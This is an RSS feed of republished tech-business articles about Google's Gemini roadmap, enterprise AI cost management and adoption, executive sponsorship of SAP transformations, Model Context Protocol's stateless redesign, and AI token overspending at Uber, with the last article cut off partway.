<description><![CDATA[Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent L...]]></description>
<link>https://tsecurity.de/de/3694392/it-security-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694392/it-security-nachrichten/google-ceo-distracts-from-gemini-35-pro-delay-with-talk-of-gemini-4-and-monthly-releases/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Google CEO Sundar Pichai has sought to allay concerns over the delayed release of the Gemini 3.5 Pro large language model. He dodged questions about it in Google’s quarterly earnings call on Wednesday by focusing on the company’s next frontier AI model, Gemini 4, and plans to release subsequent LLMs at an almost monthly cadence.</p>



<p class="wp-block-paragraph">His comments came a day after <a href="https://blog.google/innovation-and-ai/models-and-research/gemini-models/gemini-3-6-flash-3-5-flash-lite-3-5-flash-cyber/" target="_blank" rel="noreferrer noopener">Google unveiled Gemini 3.6 Flash</a> and 3.5 Flash Cyber but offered no update on the release of Gemini 3.5 Pro, the company’s delayed flagship reasoning model that many developers had expected to arrive weeks earlier.</p>



<p class="wp-block-paragraph">Google introduced the Gemini 3.5 family at its annual I/O conference, promising to release the Pro model in June. That timeline has since slipped, with <a href="http://bloomberg.com/news/articles/2026-07-16/google-gemini-launch-delayed-as-tech-falls-short-of-internal-goals" target="_blank" rel="noreferrer noopener">Bloomberg suggesting Gemini 3.5 Pro is months late</a> because the model’s coding performance is falling short of internal expectations, especially when compared to better performance by similar models from OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Instead of revisiting the Gemini 3.5 Pro timeline, Pichai used the earnings call to shift the discussion toward Gemini 4, when asked about how his company planned to navigate an increasingly competitive race to release frontier AI models by to Barclays Investment Bank analyst Ross Sandler.</p>



<p class="wp-block-paragraph">“We are creating a baseline on top of which you will see us rapidly iterate on subsequent model releases. And so picking up pace and releasing models almost at a monthly cadence is part of our road map as we are building Gemini 4 as well,” Pichai said during the <a href="https://www.youtube.com/watch?v=LzExSq9DU9w" target="_blank" rel="noreferrer noopener">call</a>.</p>



<p class="wp-block-paragraph">Sandler’s question followed one from JPMorgan Chase &amp; Co analyst <a href="https://www.linkedin.com/in/douglas-anmuth-9229621/" target="_blank" rel="noreferrer noopener">Douglas Anmuth</a>, who asked Pichai if Google was releasing frontier AI models frequently enough to keep pace with rivals OpenAI and Anthropic.</p>



<p class="wp-block-paragraph">Pichai had responded to Anmuth’s question that Google remained confident of competing at the frontier and was investing heavily in a larger Gemini 4 base model.</p>



<p class="wp-block-paragraph">Analysts, though, aren’t as confident as Pichai.</p>



<p class="wp-block-paragraph">While delays to Google’s frontier model roadmap have not triggered an exodus of existing customers, either because of high switching costs or because many enterprises already running multi-model architectures, they have made CIOs evaluating AI platforms more cautious about making new commitments, said <a href="https://www.linkedin.com/in/bhupendrachopra" target="_blank" rel="noreferrer noopener">Bhupendra Chopra</a>, chief revenue officer at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">A monthly model release cadence could prove to be a double-edged sword for enterprises and their CIOs.</p>



<p class="wp-block-paragraph">While a monthly release cadence could help enterprises gain faster access to improvements in model performance, cost and capabilities, it will also require CIOs to invest more heavily in testing, governance and version management to safely adopt those updates, said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research.</p>



<p class="wp-block-paragraph">Similarly, <a href="https://pareekh.com/about/" target="_blank" rel="noreferrer noopener">Pareekh Jain</a>, principal analyst at Pareekh Consulting, said enterprises will embrace a faster release cadence only if each successive model delivers measurable improvements in performance, cost or safety, rather than simply changing version number.</p>



<p class="wp-block-paragraph">The challenge for CIOs, Jain said, is not just keeping up with model releases; it’s deciding whether each new version is worth the cost of validating it.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4200818/google-ceo-distracts-from-gemini-3-5-pro-delay-with-talk-of-gemini-4-and-monthly-releases.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption]]></title>
<description><![CDATA[I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has ...]]></description>
<link>https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694390/it-security-nachrichten/why-i-changed-how-i-pitch-ai-its-no-longer-about-saving-money-but-managing-tokens-and-adoption/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.</p>



<p class="wp-block-paragraph">The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.</p>



<h2 class="wp-block-heading"><a></a>AI as a leadership multiplier</h2>



<p class="wp-block-paragraph">The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.</p>



<p class="wp-block-paragraph">When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”</p>



<p class="wp-block-paragraph">Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.</p>



<p class="wp-block-paragraph">Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.</p>



<p class="wp-block-paragraph">When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.</p>



<p class="wp-block-paragraph">The requirement for top-down, executive ownership stems from three critical realities observed in the field:</p>



<ul class="wp-block-list">
<li><strong>Silo-smashing and data collaboration:</strong> True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.</li>



<li><strong>Cultural transformation and fear mitigation:</strong> AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.</li>



<li><strong>C-Suite education and strategic alignment:</strong> The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.</li>
</ul>



<p class="wp-block-paragraph"><a href="https://www.pwc.com/gx/en/issues/c-suite-insights/ceo-survey.html">PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI</a>. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across <em>strategic decision-making and cross-functional workflows</em>. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.</p>



<h2 class="wp-block-heading"><a></a>AI as a new operational framework</h2>



<p class="wp-block-paragraph">Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.</p>



<p class="wp-block-paragraph">AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.</p>



<p class="wp-block-paragraph">Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.</p>



<p class="wp-block-paragraph">In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.</p>



<p class="wp-block-paragraph">To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, <a href="https://arxiv.org/pdf/2604.22750">your business is billed dynamically based on the exact volume of tokens consumed</a> by every query submitted (input) and every response generated (output).</p>



<p class="wp-block-paragraph">Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.</p>



<p class="wp-block-paragraph">The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.</p>



<h2 class="wp-block-heading">Risks in the AI adoption model</h2>



<p class="wp-block-paragraph">Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).</p>



<p class="wp-block-paragraph">I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. <a href="https://www.bain.com/insights/your-ai-budget-is-growing-your-returns-arent-heres-why/">Bain &amp; Company’s global Automation and AI Pathfinder Survey </a>found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.</p>



<p class="wp-block-paragraph">Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.</p>



<p class="wp-block-paragraph">Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from <em>“How much money will AI save us?”</em> to <em>“How will we leverage AI to exponentially increase the long-term value of our enterprise?”</em></p>



<p class="wp-block-paragraph">Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.</p>



<p class="wp-block-paragraph">As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Sponsor mismatch is the silent killer of enterprise transformation]]></title>
<description><![CDATA[Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordin...]]></description>
<link>https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694391/it-security-nachrichten/sponsor-mismatch-is-the-silent-killer-of-enterprise-transformation/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Late in a large enterprise SAP transformation, the strategic governance conversations began to drift. Instead of executive decisions, we found ourselves debating whether the program needed dedicated testing, whether cutover required a full weekend, whether twenty Agile teams really needed coordination support and whether offshore resources were adding value at all.</p>



<p class="wp-block-paragraph">The questions were not coming from the delivery teams. They were coming from the executive sponsor.</p>



<p class="wp-block-paragraph">The sponsor had recently been elevated into a senior leadership role and had never sponsored a technology transformation at this scale. The challenge was not authority. The sponsor had every right to ask any question they wanted. The challenge was that strategic governance had quietly turned into a debate about delivery practices, because the sponsor did not yet have the transformation context to focus the conversation anywhere else.</p>



<p class="wp-block-paragraph">This is not a story about a bad sponsor. The executive in this case was a capable senior leader with strong judgment and authentic intent. They had been placed into a role they had not yet been prepared for, and the pattern that followed was structural, not personal. It is one of the more common patterns I have observed across enterprise transformation programs, and one of the most consistently misdiagnosed.</p>



<p class="wp-block-paragraph">Most program failures are not execution failures. They are sponsor mismatches.</p>



<h2 class="wp-block-heading">When governance becomes a debate about delivery practices</h2>



<p class="wp-block-paragraph">When the sponsor does not understand what an enterprise transformation actually requires, governance forums stop functioning as decision bodies and start functioning as practice debates.</p>



<p class="wp-block-paragraph">You see it in the questions that get asked. Why do we need a dedicated testing phase? Can the Build timeline be compressed? Why does cutover need a full weekend? Why do we need more Scrum Masters across 20 product teams? Can the US team simply work longer hours instead of using offshore resources? On one program, the sponsor suggested shifting the entire project’s working hours to India time, despite roughly 85 percent of the delivery organization being based in the United States.</p>



<p class="wp-block-paragraph">None of these questions are unreasonable in isolation. Each one targets a real cost or timeline pressure. The problem is what is missing underneath them: an understanding of the operational risks the original choices were designed to mitigate.</p>



<p class="wp-block-paragraph">When sponsors ask delivery-practice questions without that context, the program leadership team ends up defending the work instead of advancing it. Decision velocity drops. Trust between the program and its sponsor erodes. Senior delivery talent disengages from governance forums where the conversation never reaches the decisions they need made. What looks from the outside like an active sponsor producing engagement is, from inside the program, an active drain on the cycles needed to deliver.</p>



<p class="wp-block-paragraph">The compounding cost is not unique to any single program. <a href="https://www.pmi.org/blog/why-executive-sponsorship-fuels-projects">PMI’s research on executive sponsorship</a> consistently identifies sponsor engagement quality, rather than sponsor presence alone, as one of the strongest predictors of project success. The visible symptom is debate. The actual cost is unmade decisions.</p>



<h2 class="wp-block-heading">Authority is rarely the issue. Literacy is</h2>



<p class="wp-block-paragraph">When transformations stall under a mismatched sponsor, the diagnostic instinct is to question the sponsor’s authority. Are they senior enough? Do they have the cross-functional reach? Can they unblock?</p>



<p class="wp-block-paragraph">In most of the programs I have led or advised, authority was not the limiting factor. The sponsor in the SAP program above had ample authority. They could unblock any decision the program needed. What had not been developed was the transformation literacy to know which decisions mattered, which were technical noise and which were execution risks that should not be optimized away.</p>



<p class="wp-block-paragraph">This is what I have come to think of as the literacy problem. Sponsors elevated into transformation roles often have deep functional expertise (finance, operations, business unit leadership) but limited exposure to the distinct functions of PMO, organizational change management, agile delivery, testing and cutover, and how each one reduces a specific category of implementation risk. They are not expected to be SAP configuration experts. But they need enough transformation literacy to recognize which questions actually belong in a steering committee.</p>



<p class="wp-block-paragraph"><a href="https://hbr.org/2015/05/how-to-be-an-effective-executive-sponsor">Harvard Business Review’s research on effective executive sponsorship</a> has emphasized that sponsorship effectiveness depends as much on judgment as on authority. Judgment is where literacy becomes operational. A sponsor with authority but limited transformation literacy will optimize for speed and cost in ways that consistently underestimate risk. A sponsor with both will make the tradeoffs the program actually needs.</p>



<p class="wp-block-paragraph"><a href="https://www.prosci.com/resources/articles/change-management-best-practices">Prosci’s longstanding benchmark studies on change management</a> have ranked active and visible executive sponsorship as the single greatest contributor to change success for two decades. The word that matters in that finding is active. Active sponsorship without transformation literacy can introduce real cost. Not because the sponsor is acting against the program, but because the optimization choices they make are based on incomplete information about what the program is built to protect against.</p>



<h2 class="wp-block-heading">Shift the conversation from delivery practices to business risk</h2>



<p class="wp-block-paragraph">When the sponsor relationship is already in place and cannot be changed, the program leadership team has one move that consistently works: shift the conversation.</p>



<p class="wp-block-paragraph">On the SAP program above, we stopped explaining why the testing phase existed. We started explaining the business risk of reducing it. We stopped debating the number of Scrum Masters. We started connecting delivery capacity to coordination across more than twenty Agile teams and the business cost of losing that coordination. We reframed offshore support as a way to maintain delivery momentum around the clock rather than asking the U.S. team to sustain fifteen-hour days.</p>



<p class="wp-block-paragraph">The shift is from defending delivery practice to explaining business risk. The sponsor does not need to understand why testing takes the time it does. They need to understand what the program is exposed to if testing is compressed. They do not need to know how many Scrum Masters are statistically optimal for twenty Agile teams. They need to know what coordination breaks when the number is wrong.</p>



<p class="wp-block-paragraph">This reframing accomplishes two things. First, it brings the conversation back to the level at which sponsors actually make decisions: tradeoffs between business outcomes and business risks. Second, it builds transformation literacy in the sponsor over time, almost as a byproduct. By the third or fourth iteration of business-risk-framed conversations, the sponsor begins to ask the right questions on their own.</p>



<p class="wp-block-paragraph">In practice, this happens through small but deliberate moves. When the sponsor asks why a phase needs the time it takes, the program lead names two or three things that could go wrong if the time is cut and what each would cost the business. When the sponsor asks why a role is needed, the program lead names the work that would not get done without it. Every delivery-practice question gets converted into a business-risk answer.</p>



<p class="wp-block-paragraph">The program leadership team’s job is not to make the sponsor an expert in SAP delivery. It is to provide enough transformation context so that executive decisions reflect both business priorities and implementation realities.</p>



<p class="wp-block-paragraph">There are a few phrases I have used with executive sponsors over the years that capture the underlying issue. The sharpest one:</p>



<h2 class="wp-block-heading">If the decision has to go above the sponsor, they are not the sponsor.</h2>



<p class="wp-block-paragraph">Sponsorship is defined by what the sponsor can decide without asking someone else. That is the test. Anything else is the appearance of sponsorship, not the substance.</p>



<p class="wp-block-paragraph">For CIOs supporting enterprise transformation, the implication is direct. Sponsor selection, or sponsor preparation when selection is not an option, is not a hierarchy question. It is a transformation capability question. The same execution discipline that goes into defining decision rights, structuring governance and protecting delivery momentum should apply, with equal rigor, to assessing sponsor fit and building sponsor literacy before the program begins.</p>



<p class="wp-block-paragraph">A sponsor does not need to be the technical expert. They do need to know when to trust the people who are.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694388/it-security-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
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<title><![CDATA[Getting a grip on shadow tokens and AI blowouts]]></title>
<description><![CDATA[Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowbal...]]></description>
<link>https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694389/it-security-nachrichten/getting-a-grip-on-shadow-tokens-and-ai-blowouts/</guid>
<pubDate>Sat, 25 Jul 2026 18:55:48 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and <a href="https://www.forbes.com/sites/janakirammsv/2026/05/17/uber-burns-its-2026-ai-budget-in-four-months-on-claude-code/">a clear case study</a> in how limited oversight snowballs into an AI blowout.</p>



<p class="wp-block-paragraph">This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why <a href="https://www.theverge.com/tech/930447/microsoft-claude-code-discontinued-notepad">Microsoft is reportedly</a> winding down many internal licenses across key engineering teams and why <a href="https://www.thestreet.com/investing/the-next-phase-of-ai-spending-is-already-underway">one in five organizations</a> is missing its AI spend forecast by more than 50%.</p>



<p class="wp-block-paragraph">And the trend is only accelerating. By 2028, <a href="https://www.cio.com/article/4189149/ai-coding-token-costs-are-on-track-to-rival-human-payroll.html">Gartner predicts</a> that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.</p>



<p class="wp-block-paragraph">LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.</p>



<p class="wp-block-paragraph">Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.</p>



<h2 class="wp-block-heading">When shadow tokens result in real costs</h2>



<p class="wp-block-paragraph">The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.</p>



<p class="wp-block-paragraph">And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.</p>



<p class="wp-block-paragraph">According to <a href="https://www.deloitte.com/cz-sk/en/services/consulting/research/the-state-of-ai-in-the-enterprise.html">Deloitte</a>, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.</p>



<p class="wp-block-paragraph">This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, <a href="https://x.com/praveenTweets/status/2033627282418655711">described</a> a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.</p>



<h2 class="wp-block-heading">Shifting the culture from usage to yield</h2>



<p class="wp-block-paragraph">Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “<a href="https://www.cio.com/article/4178320/tokenmaxxing-when-ai-adoption-metrics-go-bad.html">tokenmaxxing</a>,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.</p>



